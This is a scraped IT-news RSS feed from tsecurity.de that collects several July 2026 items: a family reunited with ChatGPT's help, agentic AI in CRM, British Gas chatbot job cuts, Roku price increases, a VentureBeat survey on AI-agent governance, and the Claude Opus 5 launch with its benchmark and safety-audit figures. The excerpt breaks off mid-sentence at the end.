<guid isPermaLink="true">https://tsecurity.de/de/3693154/it-nachrichten/i-thought-ive-tried-everything-else-why-not-give-ai-a-shot-the-long-lost-family-reunited-by-chatgpt/</guid>
<pubDate>Sat, 25 Jul 2026 07:28:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Avtar spent decades wondering what happened to the mother he never got to know. Thousands of miles away, Nicci was haunted by the story of a half-brother given away before she was born. How did a chatbot bring them together?</p><p>As a small boy growing up in Amritsar, India, in the 1960s, Avtar Singh used to hear whispers. <em>Your mum isn’t really your mum</em>, the rumours would say. <em>Your mum lives abroad.</em> Avtar didn’t really pay any attention to it. “I thought, the neighbours are just making up stories.” But the stories were true: the woman raising Avtar was actually his grandmother. When he was too young to remember it, his father had emigrated to Canada to work as a teacher, leaving Avtar in the care of his paternal grandparents. His grandfather, a police officer, was a fearsome authoritarian, but his grandmother brought him up with tenderness, as if he were her own son. She called him by his nickname, Titu. He felt loved.</p><p>When Avtar was around eight years old, he was told about his family in Canada: his dad, his mum and a little brother were waiting for him there, and he would soon travel to join them. Just after his ninth birthday, Avtar found himself sitting on a plane, dressed in a three‑piece suit and tie. He was travelling alone. He had never flown before. He didn’t speak a word of English. He landed in Halifax, Nova Scotia, on Christmas Eve, 1968; his family met him at the airport and took him home. “I didn’t know what to think,” Avtar, now 66, tells me in a video call from his home in Abbotsford, British Columbia. “Before I knew it, it was the first week of January, and I was put in school.”</p> <a href="https://www.theguardian.com/lifeandstyle/ng-interactive/2026/jul/25/long-lost-family-reunited-chatgpt-artificial-intelligence-ai">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[7 CRM trends for 2026: AI brings decisive action to customer workflows]]></title>
<description><![CDATA[Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of customer relationship management (CRM), the platform that manages sales, marketing, and customer service.



“Last year, everybo...]]></description>
<link>https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693117/it-nachrichten/7-crm-trends-for-2026-ai-brings-decisive-action-to-customer-workflows/</guid>
<pubDate>Sat, 25 Jul 2026 06:53:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Agentic AI has advanced from the promises-and-pilots phase of 2025 to reality and rollouts in 2026. In the process, agentic AI is transforming virtually every aspect of <a href="https://www.cio.com/article/272365/what-is-crm-software-for-managing-customer-data.html">customer relationship management (CRM)</a>, the platform that manages sales, marketing, and customer service.</p>



<p class="wp-block-paragraph">“Last year, everybody was dipping their toes into the water,” says <a href="https://futurumgroup.com/keith-kirkpatrick/">Keith Kirkpatrick</a>, research director at The Futurum Group. This year, agentic AI has built momentum from the boardroom down, with companies recognizing that having an AI strategy is imperative. “They feel like if they don’t embrace it now, their competitors will.”</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/global/en/about/people/profiles.gx-harry-datwani+f20748dc.html">Harry Datwani</a>, a principal at Deloitte Digital, adds that enterprise CRM customers have transitioned from “proof of concept” to “scale and execution.”</p>



<p class="wp-block-paragraph">“Across sales, service, marketing, even in the commerce space, enterprises are really using AI and agentic,” he says.</p>



<p class="wp-block-paragraph">“CRM in 2026 is undergoing a structural shift, not just an incremental evolution,” says Forrester analyst <a href="https://www.forrester.com/analyst-bio/kate-leggett/BIO2629">Kate Leggett</a>, noting that AI is becoming a core part of CRM infrastructure, not just a feature or an add-on. According to Forrester data, around 70% of companies are already using AI in their CRM systems, she says.</p>



<p class="wp-block-paragraph">Here are the hot AI-driven trends in CRM this year.</p>



<h2 class="wp-block-heading">CRM becomes an action hero</h2>



<p class="wp-block-paragraph">CRM platforms have traditionally served as passive, static systems of record. Now, agentic AI is transforming CRM into a powerful, real-time solution that can act autonomously.</p>



<p class="wp-block-paragraph">“Organizations that rethink CRM as a real-time, AI-powered system of action — and embrace agentic AI to handle complex, unpredictable work — are better positioned to deliver exceptional customer experiences,” says IDC analyst <a href="https://my.idc.com/getdoc.jsp?containerId=PRF005191">Neil Ward-Dutton</a>. “This approach not only enhances satisfaction and loyalty but also drives operational efficiency and business agility.”</p>



<p class="wp-block-paragraph">Forrester’s Leggett says that AI-powered CRM platforms have advanced from simple data capture to real-time decision-making and execution. Standard capabilities include next-best action recommendations, call summaries, automated updates, generated emails, knowledge creation, predictive forecasting, and deal scoring.</p>



<p class="wp-block-paragraph">She adds that AI agents can now execute workflows, such as routing cases, sending follow-ups, and updating records (with human oversight). They can also handle end-to-end service and sales tasks autonomously, including case resolutions and sales development activities.</p>



<h2 class="wp-block-heading">Agentic drives workforce changes</h2>



<p class="wp-block-paragraph">AI use in CRM systems is also impacting workforce strategies.</p>



<p class="wp-block-paragraph">“We used to hire for deep expertise,” says Constellation Research analyst <a href="https://www.constellationr.com/user/liz-miller">Liz Miller</a>. “AI has commoditized expertise because I can take all that data from my CRM and train my AI models to go deep, to know everything about any product I’ve ever sold, from what has worked, what hasn’t, every price, every sale.”</p>



<p class="wp-block-paragraph">Now, instead of hiring candidates with deep expertise, organizations are looking for candidates who can go wide. “I can train a model to have deep expertise. What I can’t train for is experience, because experience is what happens when a person has gone broad across a lot of different scenarios and faced complexity across that broad scenario,” says Miller.</p>



<p class="wp-block-paragraph">For example, AI systems can automate many aspects of marketing, Miller notes, but there’s no substitute for creativity: people who can interrogate the data and come up with innovative marketing campaigns that connect with customers.</p>



<p class="wp-block-paragraph"><a href="https://www.servicenow.com/workflow/author/terence-chesire.html">Terence Chesire</a>, group vice president of ServiceNow CRM and industry workflows, says that organizations are using agentic AI to free up team members from repetitive, lower-value activities. Those employees have now moved to higher-level roles “where they’re working on transformational deals rather than just building a spreadsheet.”</p>



<p class="wp-block-paragraph">“That’s what we’re seeing as super-exciting as organizations not just free up people, but the speed and effort reduction and the friction reduction in what they can do,” he adds.</p>



<h2 class="wp-block-heading">Data layer takes center stage</h2>



<p class="wp-block-paragraph">AI’s promise to deliver actionable customer and marketing intelligence has placed even greater emphasis on the importance on sound data management practices for CRM.</p>



<p class="wp-block-paragraph">“The light bulb has flashed on very brightly for our clients,” says Deloitte’s Datwani. “Everyone is talking about AI agents, but your ability to really extract value is inextricably linked to the quality of your data and the ability to make that data accessible. What we’re finding is that despite large investments over time our clients still have fragmented data. And so, they are data rich and insight poor.”</p>



<p class="wp-block-paragraph">The good news, says Datwani, is that AI agents themselves can <a href="https://www.cio.com/article/2140371/gen-ai-can-be-the-answer-to-your-data-problems-but-not-all-of-them.html">help clean up and organize data</a>. And vendors such as <a href="https://www.cio.com/article/4030966/snowflake-and-databricks-vie-for-the-heart-of-enterprise-ai.html">Snowflake and Databricks</a>, along with the traditional CRM powerhouses, are offering powerful data analytics solutions. “Everyone is battling for that data layer,” Datwani says.</p>



<p class="wp-block-paragraph">Forrester’s Leggett adds that CRM platforms are converging with <a href="https://www.cio.com/article/308839/top-8-customer-data-platforms.html">customer data platforms (CDPs)</a>, real-time event streams, and external data sources to create connected customer data networks. These real-time, connected data models can help organizations deliver hyper-personalization at scale.</p>



<h2 class="wp-block-heading">Agentic ushers in pricing complexity</h2>



<p class="wp-block-paragraph">The shift from license- or subscription-based pricing to an <a href="https://www.cio.com/article/3624540/how-will-ai-agents-be-priced-cios-need-to-pay-attention.html">outcome or consumption pricing model</a> has the potential to help CIOs tie their CRM costs to specific business metrics, such as the number of customer service calls resolved per hour. But it has also introduced a <a href="https://www.cio.com/article/4184688/it-hurtles-toward-the-great-enterprise-pricing-reset.html">new level of complexity</a> when it comes to budgeting for CRM costs.</p>



<p class="wp-block-paragraph">For example, Chesire says ServiceNow’s CRM pricing plan starts with a baseline subscription model, and on top of that, customers get a certain number of AI tokens per user and can buy additional tokens as AI usage ramps up.</p>



<p class="wp-block-paragraph">Meanwhile, Salesforce has <a href="https://www.cio.com/article/4189183/salesforce-unveils-ai-help-agent-with-pay-per-resolution-pricing.html">rolled out pay-per-resolution pricing</a> with its recently unveiled AI Help Agent and last month <a href="https://www.cio.com/article/4183667/salesforce-to-acquire-usage-based-billing-specialist-m3ter.html">acquired usage-based billing specialist m3ter</a>. Oracle is also <a href="https://www.cio.com/article/4184271/oracle-wades-into-outcome-based-ai-billing-waters.html">piloting outcome-based AI pricing</a>.</p>



<p class="wp-block-paragraph">All these approaches undercut the predictability of the subscription model, which will complicate CIOs’ cost calculus, Deloitte’s Datwani says. “Now, as you start to think about consumption and tokens, costs might look different. As folks are opening up the architecture with things like headless CRM, what will the cost model look like for API calls or MCP server calls? So, there’s many more variables,” he adds.</p>



<h2 class="wp-block-heading">The rise of multi-agent orchestration</h2>



<p class="wp-block-paragraph">To act autonomously, agents need to access multiple data sets and software platforms seamlessly. As a result, the proliferation of agents, some embedded within specific vendor platforms and some created in-house, is going to require an orchestration layer, Futurum’s Kirkpatrick says.</p>



<p class="wp-block-paragraph">He points out that organizations need to monitor and manage agents, enforcing the same type of policy-based access control that exists for people. Organizations also need to set limits on what domains a specific agent can get into, what types of data they can access, what lines can’t they cross.</p>



<p class="wp-block-paragraph">Kirkpatrick predicts that a <a href="https://www.cio.com/article/4138739/21-agent-orchestration-tools-for-managing-your-ai-fleet.html">new class of orchestration tools</a> will emerge, although it’s not clear whether that orchestration layer will be provided by the leading CRM vendors, hyperscalers, or third parties.</p>



<p class="wp-block-paragraph">Datwani agrees. “The orchestration layer is an interesting area, where the traditional vendors are in on it, the hyperscalers are also offering it, and there are third parties. It’s my belief that there’s not going to be a clear winner.”<em></em></p>



<h2 class="wp-block-heading">The interface becomes conversational</h2>



<p class="wp-block-paragraph">Enterprise users who have traditionally had to manually wrangle with CRM systems are likely to find the ability to employ voice commands using a natural language interface to be a game changer. For starters, a salesperson can say, “I have a meeting today with Customer X. Help me prepare.” The agent will collect relevant data, ingest it, and provide a summary with recommendations.</p>



<p class="wp-block-paragraph">ServiceNow’s Chesire says voice-enabled CRM systems have an “almost magical” ability to record, transcribe, and understand the content of a call between a salesperson and a customer or potential customer. The system can then “build a quote” based on that conversation.</p>



<p class="wp-block-paragraph">On the customer service side of the equation, AI-driven voice technology enables customers to speak to an AI agent, describe the problem using natural language, and get a response. The agent has the capability to, for example, solve a credit card dispute, order a replacement product, send out a service rep, or do whatever is needed to resolve the issue, says Chesire.</p>



<p class="wp-block-paragraph">Beyond that, agentic technology is capable of understanding the underlying business process flaws that led to the product snafu, and make recommendations for ways to fix whatever led to the issue in the first place, he adds.</p>



<h2 class="wp-block-heading">Agentic drives business process transformation</h2>



<p class="wp-block-paragraph">With the emergence of outcome-based pricing, organizations are taking a fresh look at how they measure the benefits of CRM systems. That conversation is leading to an even more important analysis of underlying business processes. Or, as Constellation’s Miller says, “The old adage of applying new technology to old processes only gets you more expensive old processes.”</p>



<p class="wp-block-paragraph">“When we survey customers, we hear time and time again that the reason why they want to apply AI into their organizations is to foster exponential opportunity and exponential growth,” she says. “How do we get there with CRM has started to become the new conversation.”</p>



<p class="wp-block-paragraph">According to Miller, AI systems breach the walls of siloed data and can take a fresh look at legacy workflows. They also don’t get sucked into turf wars between marketing and sales teams. As a result, they often recommend new actions that can lead to better processes. “I think it’s starting to happen. You’re starting to see applications where AI is beginning to accelerate decision-making and decision velocity,” she says.</p>



<p class="wp-block-paragraph">“The next phase of maturity is going to be, how do we start to spread AI across our platforms so that we are seeing that holistic end-to-end relationship that we have always wanted to optimize. How do we thread that across platforms and across solutions. We’re starting to see organizations on the leading edge really start to pull those strategies together,” says Miller.</p>
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<title><![CDATA[Customers prefer AI chatbots, says British Gas owner as 1,300 call centre and back office jobs axed]]></title>
<description><![CDATA[CEO Chris O’Shea defends Centrica’s plans as it reports rise in retail profits following focus on bigger marginsThe owner of British Gas has claimed that most households would rather speak with an AI chatbot than deal with the company’s staff as it prepares to cut 1,300 jobs from its call centres...]]></description>
<link>https://tsecurity.de/de/3693103/it-nachrichten/customers-prefer-ai-chatbots-says-british-gas-owner-as-1300-call-centre-and-back-office-jobs-axed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693103/it-nachrichten/customers-prefer-ai-chatbots-says-british-gas-owner-as-1300-call-centre-and-back-office-jobs-axed/</guid>
<pubDate>Sat, 25 Jul 2026 06:38:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CEO Chris O’Shea defends Centrica’s plans as it reports rise in retail profits following focus on bigger margins</p><p>The owner of British Gas has claimed that most households would rather speak with an AI chatbot than deal with the company’s staff as it prepares to cut 1,300 jobs from its call centres and back office.</p><p>Centrica, the supplier’s FTSE 100 owner, plans to cut 800 jobs as the company carries out a “targeted deployment of AI tools”, on top of the 500 cuts it confirmed last month.</p> <a href="https://www.theguardian.com/business/2026/jul/23/customers-prefer-ai-chatbots-says-chris-oshea-british-gas-centrica-boss">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[Roku Raises Prices of Streaming Devices By Up To 60%]]></title>
<description><![CDATA[Roku has raised prices on several streaming devices, blaming memory and component shortages tied to the AI data-center boom. The Roku Ultra jumped from $100 to $150 and the basic Streaming Stick rose from $30 to $40. The Desk reports: In a phone call with The Desk on Friday, a Roku executive said...]]></description>
<link>https://tsecurity.de/de/3692521/it-security-nachrichten/roku-raises-prices-of-streaming-devices-by-up-to-60/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692521/it-security-nachrichten/roku-raises-prices-of-streaming-devices-by-up-to-60/</guid>
<pubDate>Fri, 24 Jul 2026 23:13:45 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Roku has raised prices on several streaming devices, blaming memory and component shortages tied to the AI data-center boom. The Roku Ultra jumped from $100 to $150 and the basic Streaming Stick rose from $30 to $40. The Desk reports: In a phone call with The Desk on Friday, a Roku executive said the company made the tough decision to raise prices on its streaming hardware to address shortages in computer memory and other components caused by the artificial intelligence rush. [...] Still, the executive who spoke with The Desk on Friday said the company believes its hardware is still competitive against other streaming TV hardware because Roku devices are still priced aggressively compared to the Apple TV and other expensive streaming hardware, and the company remains focused on looking at ways to add value to its Roku platform before and after it enters a customer's home. "We are doing our best to have great deals like what we have going on right now," the executive said. "Roku is even upping the price for a bundle that includes a Streaming Stick Plus and a one-month subscription to Fox One," notes Ars Technica in a separate report.
 
"As recently as July 20, Roku listed the bundle at $60 with a sale price of $25, according to the Internet Archive's Wayback Machine. Now, the bundle carries an $80 MSRP and $45 sale price."<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/24/2059242/roku-raises-prices-of-streaming-devices-by-up-to-60?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[VentureBeat Research: Where enterprise AI agent governance hasn't caught up]]></title>
<description><![CDATA[Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up ...]]></description>
<link>https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692498/it-nachrichten/venturebeat-research-where-enterprise-ai-agent-governance-hasnt-caught-up/</guid>
<pubDate>Fri, 24 Jul 2026 22:51:31 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Enterprises deployed AI agents ahead of the controls needed to manage them — and they did it knowingly. That is the central finding across the five parallel surveys VentureBeat Research fielded in June, spanning every layer of the agentic stack. Now those enterprises are retrofitting to catch up with their own standards, and they are budgeting for it: In each of the five control layers we measured, 57 to 68% of enterprises plan to switch vendors or add new ones within 12 months, and roughly a third, depending on the layer, plan to move within the quarter.</p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> measured the five controls an enterprise has to build before it can trust an agent: identity, evaluation, cost telemetry, the context layer, and orchestration. Identity governs which agent is allowed to do what, under whose credentials. Evaluation determines whether the agent's work is any good. Cost telemetry tracks what each agent costs to run. The context layer supplies the business data and definitions agents draw on when they answer. And the orchestration control plane coordinates multi-step agent work. Each of our five reports measures one of those controls.</p><p><b>Most deployed "agents" are chatbots wearing the label.</b> Seventy-one percent of enterprises said a quarter or fewer of their deployed "agents" can complete multi-step work on their own; only 10% said true agents are the majority of what they run. These respondents are positioned to know: 81% recommend or decide AI purchases at their companies. A single-prompt chatbot with a human reading every answer needs none of the controls the other four reports measure. A true multi-step agent needs all of them — and most enterprises can't say which one they've deployed. <i>(Full findings: </i><a href="https://venturebeat.com/resources/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents"><i>Agentic Orchestration report.</i></a><i>)</i></p><p><b>Autonomy is outrunning trust in the evaluations that gate it.</b> Two-thirds of enterprises either already allow an agent to push a code or system change to production on automated evaluation results alone, with no human review, or are actively engineering toward that within 12 months. Only 5% fully trust the evaluations that would make that call — and half of enterprises shipped an agent that passed internal evaluations and then caused a customer-facing failure in the past year. Before removing human review from any workflow, test evaluations against production outcomes rather than internal benchmarks. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway"><i>Agent Reliability &amp; Evals report</i></a><i>.)</i></p><p><b>Companies that let agents share credentials get hit more often.</b> Sixty-nine percent of companies let at least some of their agents share credentials — multiple agents operating under one API key or service account. Organizations that allow credential sharing anywhere experienced a security incident or near-miss at a 63.5% rate (47 of 74), against 40.9% (nine of 22) at companies where every agent has its own scoped identity. The fix is scoped identity for every agent, starting with the ones that touch production systems. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-agent-security-gap-54-of-enterprises-have-already-had-an-ai-agent-incident-and-most-still-let-agents-share-credentials"><i>Agentic Security &amp; Identity report</i></a><i>.)</i></p><p><b>The most expensive hardware in the building runs at half capacity or less.</b> More than eight in 10 enterprises that run their own GPUs reported utilization of 50% or less, and only 44% rigorously track what their AI compute actually costs and returns. The number worth chasing first isn't more GPUs — it's the utilization and per-workload cost of the ones already running. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs"><i>AI Infrastructure &amp; Compute report</i></a><i>.)</i></p><p><b>Agents answer confidently from data nobody governs.</b> Fifty-seven percent of enterprises traced a confident, wrong agent answer in the past six months to their own missing or inconsistent business context — wrong metrics, stale definitions, absent documents — and most saw it happen more than once. Governing the definitions agents answer from — metrics and entities first — has to come before scaling the agents that depend on them. <i>(Full findings: </i><a href="https://venturebeat.com/resources/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix"><i>Context Layers / RAG report</i></a><i>.)</i></p><p>No layer has an entrenched incumbent: The defaults today are the built-in tools that ship with the big AI platforms enterprises already use. Switching intent runs highest in orchestration itself, where 68% plan to adopt, add, or replace platforms within 12 months and 34% within the quarter. Our surveys did not ask which direction that money moves — toward the platforms' built-in tools or toward the specialists challenging them — and that open question is the next four quarters of this market.</p><hr><p><b>About this research</b> </p><p><a href="https://venturebeat.com/category/resources">VentureBeat Research</a> fielded five parallel surveys in June 2026 under its VB Pulse program: Agentic Orchestration (101 respondents), Agent Reliability &amp; Evals (157), Agentic Security &amp; Identity (107), AI Infrastructure &amp; Compute (107), and Context Layers / RAG (101) — 573 qualified respondents in total, all at organizations with 100 or more employees. Samples are self-selected, and some findings should be read directionally; each report carries its full methodology note. What the pattern supports more strongly than any single percentage is the direction: every survey, independently, points the same way. VentureBeat produces both this research and <a href="https://venturebeat.com/vbtransform2026">VB Transform</a>, the conference where these reports debuted.</p>]]></content:encoded>
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<title><![CDATA[Last Call for Prime Day: Nab My Favorite 3D Printer for $100 Less, Plus Accessory and Consumables Deals]]></title>
<description><![CDATA[Prime Day and Bambu Lab’s anniversary sale brought tons of deals on top-rated 3D printer models. Here are the ones I recommend.]]></description>
<link>https://tsecurity.de/de/3692451/it-nachrichten/last-call-for-prime-day-nab-my-favorite-3d-printer-for-100-less-plus-accessory-and-consumables-deals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692451/it-nachrichten/last-call-for-prime-day-nab-my-favorite-3d-printer-for-100-less-plus-accessory-and-consumables-deals/</guid>
<pubDate>Fri, 24 Jul 2026 22:20:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Prime Day and Bambu Lab’s anniversary sale brought tons of deals on top-rated 3D printer models. Here are the ones I recommend.]]></content:encoded>
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<title><![CDATA[Anthropic launches Claude Opus 5, a cheaper AI model for coding, agents and enterprise workflows]]></title>
<description><![CDATA[Anthropic released Claude Opus 5 on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude Fable 5 at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.The model, available immediately o...]]></description>
<link>https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692246/it-nachrichten/anthropic-launches-claude-opus-5-a-cheaper-ai-model-for-coding-agents-and-enterprise-workflows/</guid>
<pubDate>Fri, 24 Jul 2026 20:10:11 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.anthropic.com/">Anthropic</a> released Claude <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on Friday, a model the company says delivers nearly all the intelligence of its top-of-the-line Claude <a href="https://www.anthropic.com/claude/fable">Fable 5</a> at half the cost — a launch that signals how the AI race is shifting from raw capability to the economics of daily use.</p><p>The model, available immediately on all of Anthropic's platforms, is priced at $5 per million input tokens and $25 per million output tokens, unchanged from its predecessor, <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>. It becomes the new default model on <a href="https://support.claude.com/en/articles/11049741-what-is-the-max-plan">Claude Max</a>, Anthropic's premium consumer tier, and the strongest model available on <a href="https://support.claude.com/en/articles/8325606-what-is-the-pro-plan">Claude Pro</a>.</p><p>The positioning is deliberate. Anthropic is not claiming <a href="http://anthropic.com/news/claude-opus-5">Opus 5 </a>is its smartest model — that distinction still belongs to <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, and rival systems retain an edge in certain domains. Instead, the company is making a subtler argument that may matter more to enterprise buyers: that the most economically important AI work happens in a middle band of difficulty, where near-frontier intelligence delivered efficiently and cheaply beats frontier intelligence delivered expensively.</p><p>"Opus 5 as your daily driver, the model you hand complex work to and review when it's done," an Anthropic spokesperson said in an interview with VentureBeat, describing how the company's lineup now stratifies. "Fable 5 for your most ambitious work, the days-long autonomous projects nothing could take on before... Sonnet 5 for work you run at scale, where speed and cost per call decide what ships. Haiku 4.5 for subagents and instant answers."</p><h2><b>How Claude Opus 5 benchmark results stack up against Fable 5 and rival AI models</b></h2><p>On paper, the results are striking. Anthropic says <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> sets new state-of-the-art marks on coding and knowledge-work evaluations including <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> and <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA</a>. On <a href="https://www.frontierbench.ai/announcement">Frontier-Bench v0.1</a>, an agentic terminal coding benchmark, Opus 5 scores 43.3 percent — more than double Opus 4.8's 18.7 percent and well ahead of Fable 5's 33.7 percent — at a lower cost per task, according to the company. On <a href="https://arcprize.org/arc-agi/3">ARC-AGI 3</a>, an evaluation of novel problem-solving, Anthropic reports Opus 5 scored three times as high as the next best model. On <a href="https://github.com/xlang-ai/OSWorld-V2">OSWorld 2.0</a>, a computer-use benchmark, the company says the model surpasses Fable 5's best result at just over a third of the cost.</p><p>The numbers come with honest caveats that are themselves notable in an industry prone to superlatives. Anthropic acknowledges <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> remains behind <a href="https://www.anthropic.com/claude/mythos">Mythos 5</a>, a competing model, on cybersecurity tasks and biology research, and an OpenAI-family model still leads on one agentic coding benchmark.</p><p>The more revealing caveat came from Anthropic itself, when asked where <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> still falls short of <a href="https://www.anthropic.com/claude/fable">Fable 5</a>. The spokesperson's answer amounted to a candid admission about what benchmarks do and don't capture.</p><p>"The evals where Opus 5 wins are bounded tasks with a specific outcome, which is where it's strongest. What those evals don't measure is duration," the spokesperson told VentureBeat. "One way to put it: Opus 5 is the best tool for the jobs benchmarks can see, and Fable 5 is what you reach for when the job outruns the benchmark."</p><p><a href="https://www.anthropic.com/claude/fable">Fable 5</a>, by contrast, "is for the longest, most autonomous jobs, where the model has to stay coherent across many connected steps over hours or days with dense source material," the spokesperson said, advising customers to "run both on a representative workload, one bounded task and one long-horizon job." That framing — bounded tasks versus long-horizon autonomy — may become the defining axis of model differentiation in 2026, as benchmarks saturate and the hardest remaining problems involve sustained, multi-day agentic work rather than discrete puzzles.</p><h2><b>Why token efficiency is becoming the real battleground for enterprise AI spending</b></h2><p>Threaded through the launch is a theme Anthropic clearly wants buyers to absorb: <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> doesn't just score well, it scores well per dollar. The model ships with an adjustable "effort" setting that lets customers trade intelligence for speed and token savings, and Anthropic's charts emphasize performance at a given cost rather than peak performance alone.</p><p>Early customers echoed the point with unusual specificity. Harvey, the legal AI company, said Opus 5 achieved similar performance to Opus 4.8's maximum-reasoning mode "while generating 26% fewer tokens on average," according to Niko Grupen, its head of applied research. Richard Pham of Fundamental Research Lab said that on hard financial-modeling tasks, the model averaged nine percentage points higher accuracy "while using roughly one-third fewer turns and tool calls and 60% less time."</p><p>Wade Foster, chief executive of Zapier, said Opus 5 topped his company's AutomationBench leaderboard "without spending more tokens than prior Claude models," running a full churn-prevention workflow from start to finish. "Previous models didn't pass; Opus 5 hit 100%," he said. Scott Wu, chief executive of Cognition, the company behind the Devin coding agent, said that on FrontierCode 1.1, "Claude Opus 5 approaches Fable-level performance at half the cost," with particular strength in debugging and root-cause analysis.</p><p>The efficiency emphasis reflects commercial reality. Enterprise AI spending is no longer experimental, and inference costs — the price of actually running these models at scale — have become a board-level line item. </p><p>Anthropic's business skews heavily toward API and enterprise usage; according to a February 2026 analysis by <a href="https://research.contrary.com/company/anthropic">Contrary Research</a>, Claude held roughly 40 percent of the enterprise large language model market by usage as of late 2025, and Claude Code alone had reached about $1 billion in annualized revenue. For a company whose customers pay by the token, a model that does more with fewer tokens is not a nice-to-have. It is the product.</p><h2><b>Self-verifying AI agents and what they mean for the hidden costs of automation</b></h2><p>Beyond the numbers, Anthropic is selling a behavioral story: that <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> verifies its work and iterates until it succeeds. The company offered several examples from testing that read like small parables of machine stubbornness.</p><p>In one <a href="https://www.frontierbench.ai/announcement">Frontier-Bench</a> task, the model was asked to reconstruct a machine part as a 3D CAD model from a drawing it was intentionally given no way to view. Rather than fail, Anthropic says, Opus 5 wrote its own computer vision pipeline to extract the geometry from raw pixels — and did so repeatedly, while no competing model solved the task in five attempts. In another case, given a real bug in a popular open-source package manager, the model found the root cause and fixed an edge case the community's own patch had missed; a competing model patched only the symptom and declared victory. An engineer at a trading firm, the company says, used Opus 5 to build a market data feed for a new exchange in a single session and, finding no live feed to validate against, watched the model build its own test harness to check its parsing code.</p><p>Customers described similar behavior in the wild. Cristian Rivera, a staff software engineer at Stripe, said he gave the model "a chief-of-staff role over my dev environments" for a weekend: "it built its own monitor, drove each box, and pulled me in only for the judgment calls."</p><p>This is the capability enterprises actually care about, and it is worth dwelling on why. The gap between a model that produces plausible output and one that verifies its output is the gap between a demo and a deployable system. Most of the hidden cost of enterprise AI today is human review — engineers checking the machine's work. A model that reliably checks its own work compresses that cost, which is precisely why customers keep citing fewer turns, fewer passes, and less time rather than higher raw scores.</p><h2><b>Inside Anthropic's safety strategy: capability gaps, classifiers, and model fallbacks</b></h2><p>The launch also showcases Anthropic's increasingly intricate approach to safety — one that now involves deliberately not teaching its models certain skills. The company says its automated behavioral audit found Opus 5 to be its most aligned model to date, scoring 2.3 on overall misaligned behavior, lower than <a href="https://www.anthropic.com/news/claude-opus-4-8">Opus 4.8</a>, <a href="https://www.anthropic.com/news/claude-sonnet-5">Sonnet 5</a>, or <a href="https://www.anthropic.com/claude/fable">Fable 5</a>, with the lowest rates of deceptive behavior and the least susceptibility to being tricked into misuse.</p><p>On the capability side, Anthropic says it intentionally avoided training <a href="http://anthropic.com/news/claude-opus-5">Opus 5</a> on cyber tasks, as it did with Opus 4.8. The model improved on them anyway — a side effect of general capability gains — and now nearly matches Mythos 5 at finding software vulnerabilities. But it remains far behind at exploiting them: on Anthropic's OSS-Fuzz evaluation, Opus 5 identified vulnerabilities at a 79.4 percent rate, close to Mythos 5's 80 percent, but succeeded at developing exploits in only 4 challenges versus Mythos 5's 13. That asymmetry — strong at defense-relevant discovery, weak at offense-relevant exploitation — appears to be by design, and the safeguards follow the same logic. Anthropic expects Opus 5's cyber classifiers to intervene about 85 percent less often than Fable 5's.</p><p>When a classifier does trigger, requests in <a href="http://claude.ai/">Claude.ai</a>, <a href="https://code.claude.com/docs/en/overview">Claude Code</a>, and <a href="https://claude.com/product/cowork">Claude Cowork</a> fall back to <a 